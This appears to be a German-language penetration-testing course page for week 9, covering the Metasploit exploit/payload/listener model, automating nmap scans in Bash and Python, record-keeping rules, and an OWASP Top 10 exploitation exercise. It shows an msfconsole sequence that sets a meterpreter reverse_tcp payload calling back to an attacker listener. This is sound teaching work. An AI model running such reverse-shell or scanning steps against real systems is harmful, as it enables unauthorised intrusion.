Zum Hauptinhalt springen

Woche 9 — Automatisierung und Metasploit

Lernziele​

  • Das Modell von Metasploit verstehen: Exploit, Payload, Listener.
  • Wiederkehrende Schritte automatisieren, ohne die Nachvollziehbarkeit zu verlieren.
  • Python und Bash für das einsetzen, was Metasploit nicht gut beherrscht.

Das Metasploit-Modell in drei Teilen​

  • Exploit: die Logik, die die Schwachstelle auslöst.
  • Payload: das, was der Exploit ausführen lässt (zum Beispiel meterpreter/reverse_tcp).
  • Listener: der Dienst auf Angreiferseite, der die Rückverbindung empfängt.
msfconsole -q
use exploit/multi/http/example
set RHOSTS 10.0.0.15
set LHOST 10.0.0.5
set LPORT 4444
set PAYLOAD linux/x64/meterpreter/reverse_tcp
run

Was Sie verstanden haben müssen, bevor Sie run ausführen:

  • Wo die Rückverbindung ankommt. In einem NAT-Netzwerk gelangt der Datenverkehr nicht von selbst zurück.
  • Die Kompatibilität Exploit ↔ Payload: linux/x64 funktioniert nicht auf einem 32-Bit-Ziel.
  • Die hinterlassene Spur: Meterpreter ist laut, shell_reverse_tcp weniger.

Sauber um Metasploit herum skripten​

# Kontrollierte Bash-Schleife: idempotent, protokolliert, nie stumm.
for hote in $(cat cibles.txt); do
echo "[+] $(date -Is) test $hote"
nmap -sS -p 22,80,443 -oN "logs/$hote.nmap" "$hote"
done
# Python für eine Verarbeitung, die Bash fragil machen würde.
import ipaddress, subprocess, json, pathlib

reseau = ipaddress.ip_network("10.0.0.0/28")
resultats = {}
for hote in map(str, reseau.hosts()):
process = subprocess.run(["nmap", "-sS", "-p", "22,80,443", "-oX", "-", hote],
capture_output=True, text=True, check=False)
resultats[hote] = process.stdout
pathlib.Path("logs/scan.json").write_text(json.dumps(resultats, indent=2))

Regeln zur Nachvollziehbarkeit​

  • Ein Ordner pro Auftrag, versioniert in einem privaten Git (niemals auf öffentlichem GitHub).
  • Eine Datei commandes.md, in die Sie jeden Befehl vor der Ausführung kopieren.
  • Datierte und nummerierte Screenshots.

Übung 2 — Abgabe in dieser Woche​

Erwartetes Ergebnis: drei Schwachstellen aus den Top 10, ausgenutzt auf einer in Woche 7 gewählten verwundbaren Anwendung, mit vollständiger Anfrage, Screenshot, Auswirkung und Abhilfemaßnahme. 8 bis 12 Seiten.